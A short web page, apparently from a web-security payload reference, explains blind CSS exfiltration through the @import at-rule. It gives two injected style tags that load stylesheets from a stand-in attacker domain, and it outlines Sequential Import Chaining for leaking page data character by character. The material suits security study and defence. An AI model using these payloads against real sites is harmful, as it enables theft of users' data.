CSS Injection: CSS Import at-rule
This technique is known as Blind CSS Exfiltration. It relies on importing external stylesheets to trigger callbacks.
<style>@import url(http://[ATTACKER.DOMAIN.TLD]/staging?len=32);</style>
<style>@import'//[ATTACKER.DOMAIN.TLD]'</style>Frames do not always need to be reloaded to reevaluate CSS. The @import rule allows for latency; the browser will process the import and apply the new styles.
Sequential Import Chaining (SIC)
SIC allows an attacker to chain multiple extraction steps without reloading the page:
Inject an initial
@importrule pointing to a staging payload.The staging payload holds the connection open (long-polling) while generating the next specific payload.
When a CSS rule matches (e.g., a character is found via
background-image), the browser makes a request.The server detects this request and generates the next
@importrule to continue the chain.
Comments
No comments yet.